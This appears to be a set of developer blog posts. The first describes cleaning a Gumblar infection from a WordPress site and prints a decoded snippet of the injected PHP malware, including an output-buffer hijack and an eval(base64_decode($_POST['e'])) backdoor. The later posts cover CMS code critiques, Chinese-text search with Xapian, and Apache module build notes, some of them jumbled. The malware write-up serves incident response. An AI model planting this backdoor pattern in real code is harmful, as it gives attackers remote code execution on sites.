Just about finished a gumblar cleanup, for a small Hong Kong company. This is not the first crack I've seen in the last few months, I fixed another server last month that got ssh brute force attacked. It looks like cracking is on the up, so if you need help fixing a site, by someone who knows what they are doing, and at the same time you will help out a number of open source projects - give me a bell (alan@akbkhome.com)
The gumblar (or derivative) attack I was looking at was quite interesting, the first indication the owner got was that browsers kept showing the "Reported Attack Site!" or "Warning: Visiting this site may harm your computer" message. So I get the call to find out what's going on.
When you ignore the message and go through to the site, look at the HTML the first thing you see is that there is a <script> tag added just before the body pointing to a gifimg.php file. After that you have a long hunt around google to find out what's going on.
At the time of writing, the exact attack vector does not look like it's been confirmed, but is either a brute force ftp attack (I think is quite unlikely considering the username/pass combo on this sample site). Or more likely a PDF desktop attack to a machine that has access to the site.
My first assumption was that it was a Wordpress exploit, but the more I examined the situation, it seemed less likely. However I highly suspect that the PDF attack vector having got the ftp credentials goes looking for standard locations of wordpress installations (eg. '/wordpress) - so hint one is not to install your software in such obvious places.
The first step in sorting out the mess was to mirror the original site, with virus and all onto a offline location. (both as a precaution that if we broke things we had a backup, and so we can use this as a source to replace the hacked files with new ones).
After that it was a matter of googling for details of the attack and writing a gumblar cleaner script. It basically checks for infected file types, then preg_replaces out the hacked additions. These include
I used ftpput, and check return values, to ensure that each file was successfully replaced before overwriting the local copy and making a nice copy for my reference into the virus folder.
The infection is quite interesting, and in this case was quite painful, due to the nature of how Wordpress publishes files.
Initially I suspect the core code in the PDF actually has some ftp code which will try and modify standard set of PHP files to add a small base64_encode script.. (phplist, and wordpress appear to be core targets, and I'm sure there are more.)
This is a snippet of some of the code that get's added (it's all eval, base64_encoded - read up on my blog post about idiot ways to protect your PHP code using this idea.)
This is a snippet of the decoded script
if(!function_exists('kqyf')){
function kqyf($s){
... infect the page stuff goes here...
}
function kqyf2($a,$b,$c,$d){
global$kqyf1;
$s=array();
if(function_exists($kqyf1))
call_user_func($kqyf1,$a,$b,$c,$d);
foreach(@ob_get_status(1)as$v)
if(($a=$v['name'])=='kqyf')
return;
elseif($a=='ob_gzhandler')
break;
else
$s[]=array($a=='default output handler'?false:$a);
for($i=count($s)-1;$i>=0;$i--){
$s[$i][1]=ob_get_contents();
ob_end_clean();
}
ob_start('kqyf');
for($i=0;$i<count($s);$i++){
ob_start($s[$i][0]);
echo $s[$i][1];
}
}
}
$kqyfl=(($a=@set_error_handler('kqyf2'))!='kqyf2')?$a:0;
eval(base64_decode($_POST['e']))
After that wordpress does it's wonders and infects the rest of the site for you. As all the generated pages suddenly get the extra <script tags> when publishing and your wordpress outputs the infection into the admin system.
Note: I only dissected one of the php scripts, which changed output buffering adding the <script tag, but did not see the document.write changer. I suspect there may be another variant of the script above that i did not look at that modifies the javascript files, or that it's done remotely.
Anyway all cleaned up after a few days (due to the long time the original backup took) . After this the recommendations for the owner where, stop using adobe PDF viewer (there are alternatives out there) - stop using IE, ask all staff to use Firefox with noscript. and keep a backup!
Have to admit the reaction online to some of these posts have been quite funny, Cake guys, don't take this so seriously.... - Most of what I said about Cake I pretty much stand by, the responses I've seen don't seem to show that they knew they where making compromises in designing it the way it is, rather they knew best, and live with it (or without it..)
.. I also wonder what I got myself into...
More muses on the responses.....
** Apologies to Planet D for the Abiword CSS in the RSS / might be worth using the D RSS feed for Planet D? **
Yeah, at one end we have our happy little hackers trying to make a quick CMS by throwing together a few includes and hiding functions everywhere in their wonderful directory structure, at the other we have those glorious frameworks.
So If you enjoy my rather questionable grammar, and High Horse views, here's the dig through CakePHP.
Dissent always welcome so comment away...
Ok, Since I had some really bad seafood on Good Friday (hence not turning out to be that good). resulting in me vegitating in bed today, I thought considering how much crap I gave some of those CMS projects, they deserve a bit of an explanation about why they got nailed.
Otherwise known as the deadly sins re-run post...
Translucid
BAD - Uses defines for configuration
GOOD - Bootstraper (index.php seems reasonably sensible)
BAD - Stupid directory layout
BAD - Namespacing on classes not sensible
BAD - re-written database abs. layer
BAD - stupid file naming *.class.php
BAD - loads of smarty assignvar's
Snews
BAD - functional based single file crap
Siteman
BAD - site was hacked!
BAD - Code unreadable
BAD - include style running
pivot
BAD - uses functions everywhere
BAD - directories splattered with unorganized files.
BAD - Code unreadable
BAD - php Serialized data in Files pretending to be a database
phpcms
BAD - Messy mix of HTML + PHP
GOOD - a bit of structure to it
BAD - horrific class naming sturcture.
BAD - uses capital letters for GLOBAL variables everywhere.
BAD - Functional crap
lokicms
BAD - functional Crap
BAD - farcical mix of HTML and PHP
lightneasy
BAD - functional Crap
BAD - unreadable code
BAD - if .. if .. if ... interpreting of page actions..
jaf-cms
BAD - Mix HTML and PHP
BAD - trys to get arround register globals!
BAD - functional crap
guppy
BAD - stupid licencing
BAD - stupid file naming *.inc
BAD - functional crap
BAD - mix HTML + PHP
BAD - unreadable code
eyeos
BAD - losts of functional crap
GOOD - uses pear
BAD - mindblowingly bad filenaming
BAD - not lite or simple (WTF was it in this category for..)
doop
BAD - not available
cutephp
BAD - functional crap
BAD - stupid file naming standard - .mdu!!
BAD - mix HTML and PHP
its funny how you can often end up solving pretty much the same problem twice, dejavu for coding. Last weeks challenge was a free text search engine for email archives including support for chinese.
About 7 years ago, I remember hacking on mnogosearch to solve a pretty similar problem. After some research this time, I settled on Xapian, some of the reasons included,
- utf8 internal support
- nice bindings for PHP & c (via gcc/C++)
- a working set of command line tools (omindex & quest)
- database independant ~ no mysql dependancies
And the test that always makes the deal is that after apt-get'tting the package, it just worked! Creating a working store and runing queries is quite simple
The only trouble was that although it says it supports utf8, actual support for chinese is a bit more complex.
Unlike western langages, each character needs to be treated like a word. Ideally Xapian would realize this, however without wanting to hack the C++ code, I decided it would be quicker to create files based on the original email and pad the chinese characters with spaces. This means, in the short term, I can use omindex, rather than, binding the D code directly to xapian API.
the way this is done in the D index builder is
- parse the email with callbacks for each mime part. I have ported the mime code from binc imap for this, and called it dinc (silly name for the week)
- if the part is text, or html, convert it to utf8 using iconv
- stream read each line of the body (using memory streams)
- convert each line to utf32/dchars
- loop through the dchars and see if the are chinese, japanese or korean (see this for the simple check for cjk characters). pad the ouput line with spaces when found
- convert the resulting utf32 array to utf8/char array, and write it to the output stream (file stream),
all this code should be quite simple to extend when i get round to the d direct access to xapian api. It should also be pretty memmory efficient, and fast when i rewrite the iconv code to work like a stream filter...
On the other end of this was making the extjs/php5 front end do the searching. Again, the end user would be expected to search in chinese as a series of characters, eg. type 'XXX' rather than type 'X X X' so in php. I needed to convert the search string into utf32, and compare each block of 4 characters against the previous list of cjk charcters, padding with spaces. then converting back to utf8 prior to sending the query. This is all pretty simple using iconv or mb_string.
All in all, not that difficult to do, however actually finding/working how to do this was quite a challenge.
gcc -fPIC `apxs2 -q CFLAGS ` -I`apxs2 -q INCLUDEDIR`
-c time_cookie.c -o time_cookie.o
gcc -shared -lapr-1 -laprutil-1 time_cookie.o -o time_cookie.soAnd the FOREACH loop in it should use
curr_bucket = APR_BRIGADE_FIRST(bb);Anyway I wonder if anyone has done a Mysql/Json apache module.
while (curr_bucket != APR_BRIGADE_SENTINEL(bb)) {
...
curr_bucket = APR_BUCKET_NEXT(curr_bucket);
}
PHP Grammer added to leds, and how to build leds
Note: dsource.org is currently down (14nov2006 -server upgrade in progress.), so the compd patches have not been commited
Note: I've recently added quite a bit more php autocomletion, variable type guesing and inline help (displaying method docblock info when you autocomplete a method call) - again, this is waiting for dsource.org to comeback
Multilanguage setup for Flexy and FlexyFramework.
Details how to set up multilanguage sites using these two packages (and Translation2)